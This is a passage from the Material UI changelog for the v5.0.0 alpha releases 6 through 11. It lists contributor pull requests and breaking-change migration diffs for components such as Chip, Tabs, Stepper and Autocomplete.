[docs] Improve SEO on titles (#22742) @oliviertassinari\n- [docs] Improve the left side-nav (#22780) @oliviertassinari\n- [docs] Include peer deps in installation steps (#22889) @numToStr\n- [docs] Link all the examples in docs (#22891) @Avi98\n- [docs] More robust description matcher (#22836) @eps1lon\n- [docs] Reduce risk of 404 when changing the default branch (#22801) @eps1lon\n- [docs] Resolve .tsx first (#22315) @oliviertassinari\n- [docs] Simplify locales example (#22747) @mbrookes\n- [docs] Sync translations (#22752, #22851) @l10nbot\n- [docs] Update installation guide to contain peer dependencies (#22787) @mnajdova\n- [docs] Update ToggleButton import (#22971) @mbrookes\n- [docs] Use demo name as codesandbox name (#22926) @eps1lon\n\n### Core\n\n- [benchmark] Add cross-env to fix window run issue (#22895) @mnajdova\n- [core] Batch small changes (#22746) @oliviertassinari\n- [core] Batch small changes (#22847) @oliviertassinari\n- [core] Drop babel-plugin-transform-dev-warning (#22802) @eps1lon\n- [core] Misc dependency fixes (#22909) @eps1lon\n- [test] Apply lazy forwardRef fix (#22904) @eps1lon\n- [test] Autocomplete drop \"defaultProps\" pattern (#22896) @eps1lon\n- [test] Fix react-next patch (#22800) @eps1lon\n- [test] Migrate Accordion to react-testing-library (#22952) @bewong89\n- [test] Migrate Backdrop to react-testing-library (#22931) @itamar244\n- [test] Migrate Container to react-testing-library (#22919) @eladmotola\n- [test] Migrate CssBaseline to react-testing-library (#22920) @eladmotola\n- [test] Migrate Fab to react-testing-library (#22959) @The24thDS\n- [test] Migrate Fade to react-testing-library (#22918) @eladmotola\n- [test] Migrate Grow to react-testing-library (#22917) @eladmotola\n- [test] Migrate List to react-testing-library (#22929) @eladmotola\n- [test] Migrate MenuList and ImageListItem to react-testing-library (#22958) @eladmotola\n- [test] Migrate MobileStepper to react-testing-library (#22963) @devrasec\n- [test] Migrate more components to react-testing-library (#22872) @baterson\n- [test] Migrate more components to react-testing-library (#22874) @baterson\n- [test] Migrate more components to react-testing-library (#22892) @baterson\n- [test] Migrate NativeSelect to react-testing-library (#22970) @guillermaster\n- [test] Migrate NativeSelectInput to react-testing-library (#22910) @baterson\n- [test] Migrate RadioGroup to react-testing-library (#22953) @eladmotola\n- [test] Migrate Slide to react-testing-library (#22913) @eladmotola\n- [test] Migrate SpeedDialIcon to react-testing-library (#22965) @jeferson-sb\n- [test] Migrate TabIndicator to react-testing-library (#22906) @eladmotola\n- [test] Migrate TextField to react-testing-library (#22944) @The24thDS\n- [test] Migrate useTheme,withTheme to react-testing-library (#22928) @eladmotola\n- [test] Migrate Zoom to react-testing-library (#22914) @eladmotola\n- [test] Prevent nextjs build cache to grow indefinitely (#22948) @eps1lon\n- [test] Simplify usage of `yarn mocha` (#22899) @eps1lon\n- [test] Solve 2000ms timeout (#22778) @oliviertassinari\n- [test] Update react next patch (#22890) @eps1lon\n- [test] Use appropriate templates for csb CI (#22943) @eps1lon\n- [test] Verbose reporter in CI (#22924) @eps1lon\n\n## 5.0.0-alpha.11\n\n_Sep 26, 2020_\n\nA big thanks to the 29 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 👩‍🎨 A first iteration on the new styling solution.\n\n  You can find a [new version](https://mui.com/components/slider-styled/) of the slider in the lab powered by [Emotion](https://emotion.sh/).\n\n  In the event that you are already using styled-components in your application, you can swap emotion for styled-components 💅. Check [this CodeSandbox](https://codesandbox.io/p/sandbox/sliderstyled-with-styled-components-forked-olc27?file=/package.json) for a demo. It relies on aliases to prevent any bundle size overhead.\n\n  The new styling solution saves 2kB gzipped in the bundle compared to JSS, and about 14 kB gzipped if you were already using emotion or styled-components.\n\n  Last but not least, the change allows us to take advantage dynamic style props. We will use them for dynamic color props, variant props, and new style props (an improved [system](https://mui.com/system/getting-started/)).\n\n  This change has been in our roadmap for more than a year.\n  We announced it in the [v4 release blog post](https://mui.com/blog/material-ui-v4-is-out/) as a direction v5 would take.\n\n- 🛠 A first iteration on the unstyled components.\n\n  You can find a [new version](https://mui.com/components/slider-styled/#UnstyledSlider.tsx) of the slider in the lab without any styles.\n  The unstyled component weighs 6.5 kB gzipped, compared with 26 kB for the styled version when used standalone. The component is best suited for use when you want to fully customize the look of the component without reimplementing the JavaScript and accessibility logic.\n\n- ⚡️ A first alpha of the [DataGrid](https://mui.com/x/react-data-grid/) component.\n\n  It has taken 6 months of development since the initial commit (March 15th, 2020) to make the first alpha release of the grid. The component comes in two versions:\n  @material-ui/data-grid is licensed under MIT, while @material-ui/x-grid is licensed under a commercial license.\n\n- 🪓 Keep working on the breaking changes.\n\n  We aim to complete most of the breaking changes during the alpha stage of v5.\n  We will move to beta once all the breaking changes we have anticipated are handled.\n  As always, you should find a clear and simple upgrade path for each of them.\n  You can learn more about the breaking changes left to be done in #22700.\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.11`\n\n#### Breaking changes\n\n- [Chip] Rename `default` variant to `filled` (#22683) @mnajdova\n  Rename `default` variant to `filled` for consistency.\n\n  ```diff\n  -<Chip variant=\"default\">\n  +<Chip variant=\"filled\">\n  ```\n\n- [Tabs] Add allowScrollButtonsMobile prop for mobile view (#22700) @GauravKesarwani\n  The API that controls the scroll buttons has been split it into two props:\n  - The `scrollButtons` prop controls when the scroll buttons are displayed depending on the space available.\n  - The `allowScrollButtonsMobile` prop removes the CSS media query that systematically hides the scroll buttons on mobile.\n\n  ```diff\n  -<Tabs scrollButtons=\"on\" />\n  -<Tabs scrollButtons=\"desktop\" />\n  -<Tabs scrollButtons=\"off\" />\n  +<Tabs scrollButtons allowScrollButtonsMobile />\n  +<Tabs scrollButtons />\n  +<Tabs scrollButtons={false} />\n  ```\n\n- [theme] Improve breakpoints definitions (#22695) @mnajdova\n  Breakpoints are now treated as values instead of ranges.\n  The behavior of `down(key)` was changed to define media query less than the value defined with the corresponding breakpoint (exclusive).\n  The behavior of `between(start, end)` was also updated to define media query for the values between the actual values of start (inclusive) and end (exclusive).\n\n  Find examples of the changes required defined below:\n\n```diff\n-theme.breakpoints.down('sm') // '@media (max-width:959.95px)' - [0, sm + 1) => [0, md)\n+theme.breakpoints.down('md') // '@media (max-width:959.95px)' - [0, md)\n```\n\n```diff\n-theme.breakpoints.between('sm', 'md') // '@media (min-width:600px) and (max-width:1279.95px)' - [sm, md + 1) => [sm, lg)\n+theme.breakpoints.between('sm', 'lg') // '@media (min-width:600px) and (max-width:1279.95px)' - [sm, lg)\n```\n\n- [theme] Rename `type` to `mode` (#22687) @mnajdova\n  Renames `theme.palette.type` to `theme.palette.mode`, to better follow the \"dark mode\" term that is usually used for describing this feature.\n\n  ```diff\n   import { createMuiTheme } from '@material-ui/core/styles';\n\n  -const theme = createMuiTheme({palette: { type: 'dark' }}),\n  +const theme = createMuiTheme({palette: { mode: 'dark' }}),\n  ```\n\n  The changes are supported by the `adaptV4Theme()` for easing the migration\n\n#### Changes\n\n- [Checkbox] Improve indeterminate UI (#22635) @oliviertassinari\n- [Chip] Fix prop-type support for custom variants (#22603) @cansin\n- [icons] Expose a data-test-id attribute on all svg icons (#22634) @jaebradley\n- [Rating] Add form integration test suite (#22573) @eps1lon\n- [Rating] Simpler customization of active \"no value\" styles (#22613) @eps1lon\n- [Rating] Treat as input when readOnly (#22606) @eps1lon\n- [Rating] Treat read-only as image (#22639) @eps1lon\n- [Select] Improve docs for displayEmpty prop (#22601) @mihaipanait\n- [Slider] Better tracking of mouse events (#22557, #22638) @chrisinajar, @oliviertassinari\n- [Slider] Create unstyled version and migrate to emotion & styled-components (#22435) @mnajdova\n- [Slider] Export components from lab and renamed to fit file names (#22723) @mnajdova\n- [Slider] Fix value label display for custom value component (#22614) @NoNonsense126\n- [Stepper] Add slight transition (#22654) @xtrixia\n- [Tabs] Fix TabScrollButton using absolute path (#22690) @4vanger\n- [Tabs] Only scroll the visible tabs (#22600) @quochuy\n- [theme] convertLength does not work for fromUnit !== 'px' (#22739) @brorlarsnicklas\n- [theme] Fix createSpacing.d.ts definition (#22645) @dabretin\n- [theme] Fix Hidden breakpoints issues and updates the migration guide (#22702) @mnajdova\n\n### `@material-ui/lab@v5.0.0-alpha.11`\n\n#### Breaking changes\n\n- [Alert] Move from lab to core (#22651) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import Alert from '@material-ui/lab/Alert';\n  -import AlertTitle from '@material-ui/lab/AlertTitle';\n  +import Alert from '@material-ui/core/Alert';\n  +import AlertTitle from '@material-ui/core/AlertTitle';\n  ```\n\n- [Rating] Move from lab to core (#22725) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import Rating from '@material-ui/lab/Rating';\n  +import Rating from '@material-ui/core/Rating';\n  ```\n\n- [Skeleton] Move from lab to core (#22740) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import Skeleton from '@material-ui/lab/Skeleton';\n  +import Skeleton from '@material-ui/core/Skeleton';\n  ```\n\n- [Autocomplete] Get root elements of options via renderOption (#22591) @ImanMahmoudinasab\n  After this change, the full DOM structure of the option is exposed.\n  It makes customizations easier.\n  You can recover from the change with:\n\n  ```diff\n   <Autocomplete\n  -  renderOption={(option, { selected }) => (\n  -    <React.Fragment>\n  +  renderOption={(props, option, { selected }) => (\n  +    <li {...props}>\n         <Checkbox\n           icon={icon}\n           checkedIcon={checkedIcon}\n           style={{ marginRight: 8 }}\n           checked={selected}\n         />\n         {option.title}\n  -    </React.Fragment>\n  +    </li>\n     )}\n   />\n  ```\n\n#### Changes\n\n- [lab] Fix transitive dependencies in @material-ui/lab (#22671) @koistya\n- [Autocomplete] Add \"remove-option\" to AutocompleteCloseReason type (#22672) @iansjk\n- [Autocomplete] Don't close popup when Ctrl/Meta is pressed (#22696) @montelius\n- [Autocomplete] Fix accessibility issue with empty option set (#22712) @tylerjlawson\n- [Autocomplete] Update GitHub customization example (#22735) @hmaddisb\n\n### `@material-ui/styled-engine@v5.0.0-alpha.11`\n\nThe new default style engine leveraging emotion.\n\n### `@material-ui/styled-engine-sc@v5.0.0-alpha.11`\n\nAllows developer to swap emotion with styled-components.\nMore documentation are coming.\n\n### `@material-ui/icons@v5.0.0-alpha.11`\n\n- [icons] Synchronize with Google (#22680) @delewis13\n\n### `@material-ui/styles@v5.0.0-alpha.11`\n\n- [Slider] Create unstyled version and migrate to emotion & styled-components (#22435) @mnajdova\n\n### `@material-ui/system@v5.0.0-alpha.11`\n\n- [core] Port createSpacing to TypeScript (#22720) @eps1lon\n\n### Docs\n\n- [blog] New posts (#22607) @oliviertassinari\n- [docs] Add additional context to Autocomplete asynchronous documentation (#22621) @jaebradley\n- [docs] Add emotion dependencies in codesandbox examples (#22736) @mnajdova\n- [docs] Add props from Unstyled component to Styled API page (#22733) @mnajdova\n- [docs] Add ui-schema in related projects (#22644) @elbakerino\n- [docs] Avoid confusion between layout grid and data grid (#22681) @oliviertassinari\n- [docs] Batch small changes (#22646) @oliviertassinari\n- [docs] Configuring redirects for MUI X (#22632) @dtassone\n- [docs] Customized hook at Autocomplete issue in dark mode (#22605) @hmaddisb\n- [docs] Encourage DataGrid in /components/tables/ over alternatives (#22637) @oliviertassinari\n- [docs] Fix emotion broken in SSR (#22731) @mnajdova\n- [docs] Fix markdown metadata yaml (#22629) @oliviertassinari\n- [docs] Fix static asset loading with X @oliviertassinari\n- [docs] Improve Dashboard template (#22647) @pak1989\n- [docs] Improve DX for docs generation (#22619) @eps1lon\n- [docs] Migrate templates to TypeScript (#22650) @oliviertassinari\n- [docs] New Crowdin updates (#22620) @mbrookes\n- [docs] Prevent toolbar tooltips overlapping demos (#22732) @eps1lon\n- [docs] Reduce indirections (#22642) @Arsikod\n- [docs] Reference experimental slider demos correctly (#22738) @eps1lon\n- [docs] Remove minimum-scale from meta viewport in docs (#22724) @barik\n- [docs] Remove wrong migration instruction (#22710) @oliviertassinari\n- [docs] Use codesandbox deploy for demos created from deploy previews (#22616) @eps1lon\n\n### Core\n\n- [core] Port createSpacing to TypeScript (#22720) @eps1lon\n- [core] Replace ChangeEvent<{}> with SyntheticEvent (#22716) @eps1lon\n- [core] Use ttp sources directly (#22706) @eps1lon\n- [test] Add skip ci to Crowdin commit message (#22685) @mbrookes\n- [test] Only run on push for master/next (#22624) @eps1lon\n- [test] Run CircleCI anytime (#22676) @eps1lon\n\n## 5.0.0-alpha.10\n\n_Sep 15, 2020_\n\nA big thanks to the 16 contributors who made this release possible.\nHere are some highlights ✨:\n\n- Keep working on the breaking changes before v5-beta.\n  As always, you should find a clear and simple upgrade path for each of them.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.10`\n\n#### Breaking changes\n\n- [Accordion] Normalize focusVisible logic (#22567) @oliviertassinari\n  Rename `focused` to `focusVisible` for consistency with the other components:\n\n  ```diff\n   <Accordion\n     classes={{\n  -    focused: 'custom-focus-visible-classname',\n  +    focusVisible: 'custom-focus-visible-classname',\n     }}\n   />\n  ```\n\n- [Stepper] Remove Paper and built-in padding (#22564) @mbrookes\n  The root component (Paper) was replaced with a `<div>`. Stepper no longer has elevation, nor inherits Paper's props. This change is meant to encourage composition.\n\n  ```diff\n  -<Stepper elevation={2}>\n  -  <Step>\n  -    <StepLabel>Hello world</StepLabel>\n  -  </Step>\n  -</Stepper>\n  +<Paper square elevation={2}>\n  +  <Stepper>\n  +    <Step>\n  +      <StepLabel>Hello world</StepLabel>\n  +    </Step>\n  +  </Stepper>\n  +<Paper>\n  ```\n\n  Remove the built-in 24px padding for consistency with the other components that avoid reserving space anytime it's possible.\n\n  ```diff\n  -<Stepper>\n  -  <Step>\n  -    <StepLabel>Hello world</StepLabel>\n  -  </Step>\n  -</Stepper>\n  +<Stepper style={{ padding: 24 }}>\n  +  <Step>\n  +    <StepLabel>Hello world</StepLabel>\n  +  </Step>\n  +</Stepper>\n  ```\n\n- [theme] Always return default spacing value with px units (#22552) @mbrookes\n\n  `theme.spacing` now returns single values with px units by default.\n  This change improves the integration with styled-components & emotion (with the CSS template strings syntax).\n\n  Before:\n\n  ```bash\n  theme.spacing(2) => 16\n  ```\n\n  After:\n\n  ```bash\n  theme.spacing(2) => '16px'\n  ```\n\n- [theme] Remove palette.text.hint key (#22537) @mbrookes\n\n  The `theme.palette.text.hint` key was available but unused in Material UI v4 components.\n  You can use `adaptV4Theme()` to restore the previous behavior.\n\n#### Changes\n\n- [BottomNavigation] onClick does not fire if tapped while scrolling (#22524) @EliasJorgensen\n- [Button] Remove dead code (#22566) @oliviertassinari\n- [Chip] Fix focus visible style (#22430) @alexmotoc\n- [ImageList] Refactor using CSS grid & React context (#22395) @mbrookes\n- [Slider] Improve integration with form libraries (#22548) @NoNonsense126\n- [StepIcon] Add className in render SvgIcon (#22559) @ZouYouShun\n- [SwipeableDrawer] Avoid blocking events (#22525) @JadRizk\n- [theme] Support spacing and border radius with CSS unit (#22530) @madmanwithabike\n- [theme] Fix theme object global leak (#22517) @eps1lon\n- [theme] Increase usage of the disabled design tokens (#22570) @LorenzHenk\n\n### `@material-ui/lab@v5.0.0-alpha.10`\n\n#### Breaking changes\n\n- [Rating] Use different shape for empty and filled icons (#22554) @oliviertassinari\n  Change the default empty icon to improve accessibility (1.4.1 WCAG 2.1).\n  If you have a custom `icon` prop but no `emptyIcon` prop, you can restore the previous behavior with:\n\n  ```diff\n   <Rating\n     icon={customIcon}\n  +  emptyIcon={null}\n   />\n  ```\n\n#### Changes\n\n- [Autocomplete] Improve TypeScript in the Google Maps demo (#22555) @L-U-C-K-Y\n- [Rating] Explain some styles in code comments (#22571) @eps1lon\n\n### Docs\n\n- [docs] Improve Font Awesome integration (#22496) @chrislambe\n- [docs] Clarify SSG acronym in Next.js example (#22558) @leerob\n- [docs] Add redirection for links published on npm (#22575) @oliviertassinari\n- [docs] Add LightyearVPN to showcase (#22568) @lightyearvpn\n- [docs] Fix typo, extra 'you' (#22560) @jedsmit\n- [docs] Option to disable ads (#22574) @oliviertassinari\n\n### Core\n\n- [core] Remove usage of deprecated event.keyCode (#22569) @oliviertassinari\n- [core] Remove references to other objects from created theme (#22523) @eps1lon\n- [core] Batch small changes (#22565) @oliviertassinari\n\n## 5.0.0-alpha.9\n\n_Sep 6, 2020_\n\nA big thanks to the 14 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 💎 A new diamond sponsor: [DoiT](https://www.doit.com/), thank you!\n- 📚 Include the default value of the props in IntelliSense (#22447) @eps1lon\n- ⚛️ More source migrated to TypeScript and testing-library (#22441) @baterson\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.9`\n\n#### Breaking changes\n\n- [Modal] Remove `onRendered` prop from Modal and Portal (#22464) @eps1lon\n  Depending on your use case either use a [callback ref](https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback) on the child element or an effect hook in the child component.\n\n#### Changes\n\n- [Modal] Convert ModalManager to TypeScript (#22465) @eps1lon\n- [Paper] Fix elevation warning when rendering (#22494) @nesso-pfl\n- [Slider] Edge against swallowing of mouse up event (#22401) @motiejunas\n- [Tabs] Add option to show scrollbar (#22438) @LogyLeo\n- [Tabs] Document visibleScrollBar default value (#22475) @eps1lon\n- [TextField] Remove excessive catching of hiddenLabel prop (#22444) @croraf\n\n### `@material-ui/lab@v5.0.0-alpha.9`\n\n- [docs] Include default values in IntelliSense (#22447) @eps1lon\n\n### Docs\n\n- [docs] Add DoiT diamond sponsor (#22436) @oliviertassinari\n- [docs] Bump markdown-to-jsx (#22474) @eps1lon\n- [docs] Change showcase approval process (#22398) @africanzoe\n- [docs] Fix close context menu if repeated (#22463) @eps1lon\n- [docs] Fix Next.js example (#22457) @bhati\n- [docs] Fix TypeScript deps in CodeSandbox (#22346) @oliviertassinari\n- [docs] Fix unresolved returntypes for props (#22459) @eps1lon\n- [docs] Fix usage of overrides instead of styleOverrides (#22478) @discodanne\n- [docs] Improve Backstage showcase (#22458) @stefanalund\n- [docs] Improve styles basics.md section (#22440) @bxie\n- [docs] Include default values in IntelliSense (#22447) @eps1lon\n\n### Core\n\n- [core] Batch small changes (#22461) @oliviertassinari\n- [core] Fix useEventCallback type (#22448) @kodai3\n- [core] Try out new JSX transform where available (#22455) @eps1lon\n- [test] Migrate more components to react-testing-library (#22441) @baterson\n\n## 5.0.0-alpha.8\n\n_Aug 31, 2020_\n\nA big thanks to the 19 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 🎨 Inverse the customization API of the theme to be component-centric (#22347, #22293) @mnajdova.\n\n```jsx\nconst theme = createMuiTheme({\n  components: {\n    MuiIconButton: {\n      defaultProps: {\n        size: 'small',\n      },\n      styleOverrides: {\n        sizeSmall: {\n          marginLeft: 4,\n          marginRight: 4,\n          padding: 12,\n        },\n      },\n    },\n  },\n});\n```\n\n- ✨ Add [text in divider](https://mui.com/components/dividers/#dividers-with-text) support (#22285) @ShehryarShoukat96\n\n  ```jsx\n  <Divider>{'CENTER'}</Divider>\n  ```\n\n  <img width=\"530\" alt=\"divider\" src=\"https://user-images.githubusercontent.com/3165635/91740018-01cb5e80-ebb3-11ea-9a7f-6ddb48b3f496.png\">\n\n- ♿️ A bunch of accessibility fixes (#22366, #22374, #22377, #22340, #22376) @fakeharahman @alexmotoc @eps1lon @oliviertassinari\n- ⚛️ Increase adoption of TypeScript in the codebase (#22389, #22367, #22282) @Luchanso, @oliviertassinari\n\n### `@material-ui/core@v5.0.0-alpha.8`\n\n#### Breaking changes\n\n- [theme] Rename theme keys to defaultProps and styleOverrides (#22347) @mnajdova\n- [theme] Restructure component definitions (#22293) @mnajdova\n  The components' definition inside the theme were restructure under the `components` key, to allow people easier discoverability about the definitions regarding one component.\n  1. `props`\n\n  ```diff\n   import { createMuiTheme } from '@material-ui/core/styles';\n\n   const theme = createMuiTheme({\n  -  props: {\n  -    MuiButton: {\n  -      disableRipple: true,\n  -    },\n  -  },\n  +  components: {\n  +    MuiButton: {\n  +      defaultProps: {\n  +        disableRipple: true,\n  +      },\n  +    },\n  +  },\n   });\n  ```\n\n  2. `overrides`\n\n  ```diff\n   import { createMuiTheme } from '@material-ui/core/styles';\n\n   const theme = createMuiTheme({\n  -  overrides: {\n  -    MuiButton: {\n  -      root: { padding: 0 },\n  -    },\n  -  },\n  +  components: {\n  +    MuiButton: {\n  +      styleOverrides: {\n  +        root: { padding: 0 },\n  +      },\n  +    },\n  +  },\n   });\n  ```\n\n  Note that if you don't have the time to upgrade the structure of the theme, you\n  can use the `adaptV4Theme()` adapter.\n\n- [GridList] Rename to ImageList (#22311) @mbrookes\n- [GridList] Rename Tile to Item (#22385) @mbrookes\n  Rename the `GridList` components to `ImageList` to align with the current Material Design naming.\n\n  ```diff\n  -import GridList from '@material-ui/core/GridList';\n  -import GridListTile from '@material-ui/core/GridListTile';\n  -import GridListTileBar from '@material-ui/core/GridListTileBar';\n  +import ImageList from '@material-ui/core/ImageList';\n  +import ImageListItem from '@material-ui/core/ImageListItem';\n  +import ImageListItemBar from '@material-ui/core/ImageListItemBar';\n\n  -<GridList>\n  -  <GridListTile>\n  +<ImageList>\n  +  <ImageListItem>\n      <img src=\"file.jpg\" alt=\"Image title\" />\n  -    <GridListTileBar\n  +    <ImageListItemBar\n        title=\"Title\"\n        subtitle=\"Subtitle\"\n      />\n  -  </GridListTile>\n  -</GridList>\n  +  </ImageListItem>\n  +</ImageList>\n  ```\n\n#### Changes\n\n- [Breadcrumbs] Fix wrong role usage (#22366) @fakeharahman\n- [Breadcrumbs] More robust focus capture (#22374) @eps1lon\n- [ButtonBase] Reset box-sizing to border-box (#22316) @su8ru\n- [Dialog] Fix unexpected close when releasing click on backdrop (#22310) @danbrud\n- [Divider] Add text in divider (#22285) @ShehryarShoukat96\n- [Slider] Respect disabled property when already focused (#22247) @pireads\n- [Tabs] Don't fire onChange if current value (#22381) @jjoselv\n- [Tabs] Improve focus management on list with no active tabs (#22377) @alexmotoc\n- [theme] Add theme.mixins.gutters() in adaptV4Theme (#22396) @mnajdova\n- [Tooltip] Improve readability (#22340) @oliviertassinari\n- [Tooltip] Meet dismissable WCAG criterion (#22376) @eps1lon\n- [l10n] Improve th-TH locale (#22350) @vimutti77\n\n### `@material-ui/lab@v5.0.0-alpha.8`\n\n- [docs] Add IntelliSense for each class in the `classes` prop (#22312) @eps1lon\n\n### `@material-ui/styles@v5.0.0-alpha.8`\n\n- [theme] Restructure component definitions (#22293) @mnajdova\n\n### `@material-ui/utils@v5.0.0-alpha.8`\n\n- [core] Move utils package to TypeScript (#22367) @oliviertassinari\n\n### Docs\n\n- [docs] Add Content Security Policy guide (#22383) @tjg37\n- [docs] Add IntelliSense for each class in the `classes` prop (#22312) @eps1lon\n- [docs] Add links in the header (#22210) @oliviertassinari\n- [docs] Fix Argos-ci 404 link (#22362) @brunocechet\n- [docs] Fix test README typo @mbrookes\n- [docs] Forward x data-grid (#22400) @oliviertassinari\n- [docs] Transpile demo .ts files (#22388) @eps1lon\n- [docs] Add Backstage to showcase (#22428) @stefanalund\n- [docs] Update Fontsource installation instructions (#22431) @DecliningLotus\n\n### Core\n\n- [icons] Label them as vendored for GitHub (#22397) @oliviertassinari\n- [test] DialogContent with testing-library (#22356) @baterson\n- [test] DialogContentText with testing-library (#22357) @baterson\n- [test] DialogTitle with testing-library (#22358) @baterson\n- [test] Enable tests that weren't working in JSDOM (#22360) @eps1lon\n- [test] Fix failing tests on Windows (#22369) @eps1lon\n- [test] Update react 17 patch (#22391) @eps1lon\n- [core] Add explicit dependency on `@types/yargs` (#22339) @eps1lon\n- [core] Add useEnhancedEffect module (#22317) @oliviertassinari\n- [core] Batch small changes (#22314) @oliviertassinari\n- [core] Fix setRef types (#22389) @Luchanso\n- [core] Include TypeScript definitions in GitHub source (#22282) @oliviertassinari\n- [core] Refactor how we ignore default values in docs (#22355) @eps1lon\n- [core] Update SECURITY.md to account for v5 @oliviertassinari\n\n## 5.0.0-alpha.7\n\n_Aug 22, 2020_\n\nA big thanks to the 22 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 💎 A new diamond sponsor: [Octopus](https://octopus.com/), thank you!\n- ⚛️ Migrate parts of the codebase to TypeScript (#22295, #22280, #22179, #22195) @rothbart, @eps1lon, @oliviertassinari.\n- 💅 Add support for custom variant to most of the components (9 new components in this release) @mnajdova\n- ⚛️ Keep working on React 17 support (#22270, #22262) @eps1lon\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.7`\n\n### Breaking changes\n\n- [Menu] Remove transition onX props (#22212) @mbrookes\n  The onE\\* transition props were removed. Use TransitionProps instead.\n\n  ```diff\n   <Menu\n  -  onEnter={onEnter}\n  -  onEntered={onEntered},\n  -  onEntering={onEntered},\n  -  onExit={onEntered},\n  -  onExited={onEntered},\n  -  onExiting={onEntered}\n  +  TransitionProps={{\n  +    onEnter,\n  +    onEntered,\n  +    onEntering,\n  +    onExit,\n  +    onExited,\n  +    onExiting,\n  +  }}\n   >\n  ```\n\n- [Popover] Remove transition onX props (#22184) @mbrookes\n  The onE\\* transition props were removed. Use TransitionProps instead.\n\n  ```diff\n   <Popover\n  -  onEnter={onEnter}\n  -  onEntered={onEntered},\n  -  onEntering={onEntered},\n  -  onExit={onEntered},\n  -  onExited={onEntered},\n  -  onExiting={onEntered}\n  +  TransitionProps={{\n  +    onEnter,\n  +    onEntered,\n  +    onEntering,\n  +    onExit,\n  +    onExited,\n  +    onExiting,\n  +  }}\n   />\n  ```\n\n- [TextField] Improve line-height reset (#22149) @imnasnainaec\n  Increase the line-height by 4px to support long descender on special alphabets.\n  If you were overriding the input vertical padding, reduce it by 4px.\n\n### Changes\n\n- [Accordion] Fix scroll anchoring (#22292) @brickmaker17\n- [colorManipulator] Add support for CSS Color Module Level 4 (#20790) @marcosvega91\n- [Divider] Custom variant (#22182) @mnajdova\n- [Fab] Custom variant (#22189) @mnajdova\n- [l10n] Add Thai (th-TH) locale (#22242) @smoogi\n- [l10n] Improve ja-JP locale (#22287) @chelproc\n- [Link] Custom variant (#22204) @mnajdova\n- [Paper] Custom variant (#22216) @mnajdova\n- [Slider] Improve touch passive event handling (#22269) @mikhalev-im\n- [Stepper] Fix spacing without StepContent (#22199) @Floriferous\n- [SwipeableDrawer] Fix prevented inner scroll (#22254) @BramKaashoek\n- [Tabs] Add aria-orientation of vertical (#22291) @eps1lon\n- [Tabs] Document how to make scroll icons visible (#22255) @Sorgrum\n- [TextField] Add hidden label to multi-line filled textfield (#22284) @fakeharahman\n- [Toolbar] Custom variant (#22217) @mnajdova\n- [FocusTrap] Entangle effects (#22155) @eps1lon\n- [FocusTrap] Fix compatibility issues with React 17 (#22270) @eps1lon\n- [FocusTrap] Prevent possible crash in React 17 (#22262) @eps1lon\n\n### `@material-ui/icons@v5.0.0-alpha.7`\n\n- [icons] Synchronize icons (#22186) @oliviertassinari\n\n### `@material-ui/styles@v5.0.0-alpha.7`\n\n- [core] Change children to be optional (#22134) @suliskh\n\n### `@material-ui/lab@v5.0.0-alpha.7`\n\n- [Alert] Custom variant (#22218) @mnajdova\n- [Pagination] Custom variant (#22220, #22219) @mnajdova\n- [Skeleton] Custom variant (#22243) @mnajdova\n- [SpeedDial] Add support for uncontrolled open state (#22248) @akharkhonov\n- [Timeline] Custom variant (#22244) @mnajdova\n\n### Docs\n\n- [docs] Add Design resources in installation (#22209) @oliviertassinari\n- [docs] Add Octopus diamond sponsor (#22177) @oliviertassinari\n- [docs] Better track usage of icons (#22187) @oliviertassinari\n- [docs] Change property/properties to prop/props (#22271) @mbrookes\n- [docs] Document TextField helperText height (#22146) @morgan-sam\n- [docs] Fix `@global` being considered a class (#22297) @eps1lon\n- [docs] Fix a typo on TextField components (#22300) @Renfrew\n- [docs] Fix use of removed transition onE\\* props (#22286) @mbrookes\n- [docs] Improve codesandbox generation logic (#22221) @oliviertassinari\n- [docs] Migrate Onepirate to TypeScript (#22295) @rothbart\n- [docs] Migrate Dashboard template to TypeScript (#22280) @oliviertassinari\n- [docs] Fix minimizing-bundle-size.md (#22298) @Primajin\n\n### Core\n\n- [core] Batch small changes (#22183) @oliviertassinari\n- [core] Change children to be optional (#22134) @suliskh\n- [test] Clear fake timers only in afterEach hook (#22307) @dmtrKovalenko\n- [test] Convert initMatchers to TypeScript (#22179) @eps1lon\n- [test] Improve toHaveVirtualFocus error message (#22185) @eps1lon\n- [test] Lint fix the custom rules plugin for useThemeVariants (#22192) @mnajdova\n- [test] Make all tests runnable with React 17 (#22290) @eps1lon\n- [test] Prevent swallowing errors during setup (#22196) @eps1lon\n- [test] Setup infra for tests in TypeScript (#22195) @eps1lon\n- [test] Update react next patch (#22260) @eps1lon\n\n## 5.0.0-alpha.6\n\n_Aug 13, 2020_\n\nA big thanks to the 26 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 💅 Introduce a new dynamic variant API (#21648) @mnajdova.\n  This API allows developers to add new variants on the Material UI's components right from the theme, without having to wrap the components.\n  For instance with the Button:\n\n  ```tsx\n  // Define the style that should be applied, for specific props.\n  const theme = createMuiTheme({\n    variants: {\n      MuiButton: [\n        {\n          props: { variant: 'dashed', color: 'secondary' },\n          styles: {\n            border: `4px dashed ${red[500]}`,\n          },\n        },\n      ],\n    },\n  });\n\n  // Retain type safety.\n  declare module '@material-ui/core/Button/Button' {\n    interface ButtonPropsVariantOverrides {\n      dashed: true;\n    }\n  }\n\n  // Enjoy!\n  <Button variant=\"dashed\" />;\n  ```\n\n  More details in [the documentation](https://mui.com/material-ui/customization/components/#adding-new-component-variants) and [RFC](#21749).\n\n- 👮 Add documentation for the [FocusTrap](https://v6.mui.com/base-ui/react-focus-trap/) component (#22062) @oliviertassinari.\n- ⚛️ Prepare support for React v17 (#22093, #22105, #22143, 